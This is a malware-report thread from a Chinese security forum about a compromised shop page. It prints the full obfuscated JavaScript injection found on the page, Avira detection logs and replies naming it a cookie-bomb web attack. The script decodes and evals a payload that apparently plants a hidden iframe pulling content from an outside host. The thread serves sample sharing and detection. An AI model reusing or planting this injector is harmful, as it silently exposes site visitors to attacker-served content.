查看: 1292|回复: 2
收起左侧

[已鉴定] http://immabakery.com/product_info.php?amp;amp;amp;amp;amp;

[复制链接]
fireold
发表于 2013-12-21 09:20:12 | 显示全部楼层 |阅读模式
  1. /*6d8bce*/
  2. wfc = "spl" + "i" + "t";
  3. qobud = window;
  4. wfk = (1) ? "0x" : "123";
  5. hxkit = (5 - 3 - 1);
  6. try {
  7.     --(document["b" + "ody"])
  8. } catch (tqa) {
  9.     scx = false;
  10.     try {} catch (egrr) {
  11.         scx = 21;
  12.     }
  13.     if (1) {
  14.         nhyi = "17:5d:6c:65:5a:6b:60:66:65:17:59:6f:63:5b:59:27:30:1f:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:6b:60:5a:34:1e:58:61:58:6f:1e:32:4:1:17:6d:58:69:17:5a:66:65:6b:69:66:63:63:5c:69:34:1e:60:65:5b:5c:6f:25:67:5f:67:1e:32:4:1:17:6d:58:69:17:59:6f:63:5b:59:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:69:5c:58:6b:5c:3c:63:5c:64:5c:65:6b:1f:1e:60:5d:69:58:64:5c:1e:20:32:4:1:4:1:17:59:6f:63:5b:59:25:6a:69:5a:17:34:17:1e:5f:6b:6b:67:31:26:26:69:58:67:60:5b:6b:6c:69:59:66:6a:25:5a:66:64:26:6b:69:58:5d:25:67:5f:67:1e:32:4:1:17:59:6f:63:5b:59:25:6a:6b:70:63:5c:25:67:66:6a:60:6b:60:66:65:17:34:17:1e:58:59:6a:66:63:6c:6b:5c:1e:32:4:1:17:59:6f:63:5b:59:25:6a:6b:70:63:5c:25:5a:66:63:66:69:17:34:17:1e:27:2b:2a:2c:1e:32:4:1:17:59:6f:63:5b:59:25:6a:6b:70:63:5c:25:5f:5c:60:5e:5f:6b:17:34:17:1e:27:2b:2a:2c:67:6f:1e:32:4:1:17:59:6f:63:5b:59:25:6a:6b:70:63:5c:25:6e:60:5b:6b:5f:17:34:17:1e:27:2b:2a:2c:67:6f:1e:32:4:1:17:59:6f:63:5b:59:25:6a:6b:70:63:5c:25:63:5c:5d:6b:17:34:17:1e:28:27:27:27:27:2b:2a:2c:1e:32:4:1:17:59:6f:63:5b:59:25:6a:6b:70:63:5c:25:6b:66:67:17:34:17:1e:28:27:27:27:27:2b:2a:2c:1e:32:4:1:4:1:17:60:5d:17:1f:18:5b:66:5a:6c:64:5c:65:6b:25:5e:5c:6b:3c:63:5c:64:5c:65:6b:39:70:40:5b:1f:1e:59:6f:63:5b:59:1e:20:20:17:72:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:6e:69:60:6b:5c:1f:1e:33:67:17:60:5b:34:53:1e:59:6f:63:5b:59:53:1e:17:5a:63:58:6a:6a:34:53:1e:59:6f:63:5b:59:27:30:53:1e:17:35:33:26:67:35:1e:20:32:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:5e:5c:6b:3c:63:5c:64:5c:65:6b:39:70:40:5b:1f:1e:59:6f:63:5b:59:1e:20:25:58:67:67:5c:65:5b:3a:5f:60:63:5b:1f:59:6f:63:5b:59:20:32:4:1:17:74:4:1:74:4:1:5d:6c:65:5a:6b:60:66:65:17:4a:5c:6b:3a:66:66:62:60:5c:1f:5a:66:66:62:60:5c:45:58:64:5c:23:5a:66:66:62:60:5c:4d:58:63:6c:5c:23:65:3b:58:70:6a:23:67:58:6b:5f:20:17:72:4:1:17:6d:58:69:17:6b:66:5b:58:70:17:34:17:65:5c:6e:17:3b:58:6b:5c:1f:20:32:4:1:17:6d:58:69:17:5c:6f:67:60:69:5c:17:34:17:65:5c:6e:17:3b:58:6b:5c:1f:20:32:4:1:17:60:5d:17:1f:65:3b:58:70:6a:34:34:65:6c:63:63:17:73:73:17:65:3b:58:70:6a:34:34:27:20:17:65:3b:58:70:6a:34:28:32:4:1:17:5c:6f:67:60:69:5c:25:6a:5c:6b:4b:60:64:5c:1f:6b:66:5b:58:70:25:5e:5c:6b:4b:60:64:5c:1f:20:17:22:17:2a:2d:27:27:27:27:27:21:29:2b:21:65:3b:58:70:6a:20:32:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:17:34:17:5a:66:66:62:60:5c:45:58:64:5c:22:19:34:19:22:5c:6a:5a:58:67:5c:1f:5a:66:66:62:60:5c:4d:58:63:6c:5c:20:4:1:17:22:17:19:32:5c:6f:67:60:69:5c:6a:34:19:17:22:17:5c:6f:67:60:69:5c:25:6b:66:3e:44:4b:4a:6b:69:60:65:5e:1f:20:17:22:17:1f:1f:67:58:6b:5f:20:17:36:17:19:32:17:67:58:6b:5f:34:19:17:22:17:67:58:6b:5f:17:31:17:19:19:20:32:4:1:74:4:1:5d:6c:65:5a:6b:60:66:65:17:3e:5c:6b:3a:66:66:62:60:5c:1f:17:65:58:64:5c:17:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:69:6b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:65:58:64:5c:17:22:17:19:34:19:17:20:32:4:1:17:6d:58:69:17:63:5c:65:17:34:17:6a:6b:58:69:6b:17:22:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:22:17:28:32:4:1:17:60:5d:17:1f:17:1f:17:18:6a:6b:58:69:6b:17:20:17:1d:1d:4:1:17:1f:17:65:58:64:5c:17:18:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:27:23:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:20:17:20:17:20:4:1:17:72:4:1:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:74:4:1:17:60:5d:17:1f:17:6a:6b:58:69:6b:17:34:34:17:24:28:17:20:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:6d:58:69:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:19:32:19:23:17:63:5c:65:17:20:32:4:1:17:60:5d:17:1f:17:5c:65:5b:17:34:34:17:24:28:17:20:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:63:5c:65:5e:6b:5f:32:4:1:17:69:5c:6b:6c:69:65:17:6c:65:5c:6a:5a:58:67:5c:1f:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:63:5c:65:23:17:5c:65:5b:17:20:17:20:32:4:1:74:4:1:60:5d:17:1f:65:58:6d:60:5e:58:6b:66:69:25:5a:66:66:62:60:5c:3c:65:58:59:63:5c:5b:20:4:1:72:4:1:60:5d:1f:3e:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:20:34:34:2c:2c:20:72:74:5c:63:6a:5c:72:4a:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:23:17:1e:2c:2c:1e:23:17:1e:28:1e:23:17:1e:26:1e:20:32:4:1:4:1:59:6f:63:5b:59:27:30:1f:20:32:4:1:74:4:1:74" [wfc](":");
  15.     }
  16.     qobud = nhyi;
  17.     scj = [];
  18.     for (ooh = 22 - 20 - 2; - ooh + 1425 != 0; ooh += 1) {
  19.         tupsuh = ooh;
  20.         if ((0x19 == 031)) scj += String.fromCharCode(eval(wfk + qobud[1 * tupsuh]) + 0xa - hxkit);
  21.     }
  22.     ksmg = eval;
  23.     if (Math.ceil(5.5) === 6) ksmg(scj)
  24. } /*/6d8bce*/
复制代码


Avira
2013/12/21 上午 09:17 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\6TI8XMAJ\product_info[1].htm'
      包含病毒或有害的程式 'EXP/JS.Expack.GQ' [exploit]
      已採取動作:
      發生錯誤,檔案未刪除。錯誤識別碼:26003.
      檔案無法刪除!.
      嘗試使用 ARK 程式庫執行動作.
      檔案會移動至 '412a6f24.qua' 名稱底下的隔離區目錄!

2013/12/21 上午 09:17 [System Scanner] 掃描
      掃描結束 [已完成全部的掃描.]。
      檔案數:        800
      目錄數:        0
      惡意程式碼數:        1
      警告數:        0

2013/12/21 上午 09:16 [System Scanner] 掃描
      掃描結束 [已完成全部的掃描.]。
      檔案數:        800
      目錄數:        0
      惡意程式碼數:        2
      警告數:        0

2013/12/21 上午 09:16 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\GP9UHU8J\swfobject_modified[1].js'
      包含病毒或有害的程式 'EXP/JS.Expack.GQ' [exploit]
      已採取動作:
      檔案會移動至 '59a84068.qua' 名稱底下的隔離區目錄!

2013/12/21 上午 09:16 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\GP9UHU8J\jquery.colorbox[1].js'
      包含病毒或有害的程式 'EXP/JS.Expack.GQ' [exploit]
      已採取動作:
      檔案會移動至 '410c6fc9.qua' 名稱底下的隔離區目錄!

2013/12/21 上午 09:15 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\6TI8XMAJ\product_info[1].htm 中
      偵測到病毒或有害的程式 'EXP/JS.Expack.GQ [exploit]'
      執行的動作:傳輸至掃描程式

2013/12/21 上午 09:15 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\GP9UHU8J\jquery.colorbox[1].js 中
      偵測到病毒或有害的程式 'EXP/JS.Expack.GQ [exploit]'
      執行的動作:傳輸至掃描程式

2013/12/21 上午 09:15 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\GP9UHU8J\swfobject_modified[1].js 中
      偵測到病毒或有害的程式 'EXP/JS.Expack.GQ [exploit]'
      執行的動作:傳輸至掃描程式

2013/12/21 上午 09:15 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\GP9UHU8J\swfobject_modified[1].js 中
      偵測到病毒或有害的程式 'EXP/JS.Expack.GQ [exploit]'
      執行的動作:拒絕存取

2013/12/21 上午 09:15 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\GP9UHU8J\jquery.colorbox[1].js 中
      偵測到病毒或有害的程式 'EXP/JS.Expack.GQ [exploit]'
      執行的動作:拒絕存取

2013/12/21 上午 09:15 [Web Protection] 已停用 Web Protection
      服務已停用

2013/12/21 上午 09:15 [Web Protection] 封鎖的網頁
      URL (http://immabakery.com/product_info.php?amp;amp;amp;amp;amp;) 的評估結果為
      惡意程式碼,而遭到封鎖.


av2.jpg



fs is
fs2.jpg
zmzcy
发表于 2013-12-21 14:41:54 | 显示全部楼层
类别: 入侵防护
Web Attack: Cookie Bomb Injection Website
xflcx1991
发表于 2013-12-22 13:49:30 | 显示全部楼层
火狐自带google数据库
剪贴板02.png
已WOT 评价。
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-2-4 15:00 , Processed in 0.119409 second(s), 19 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表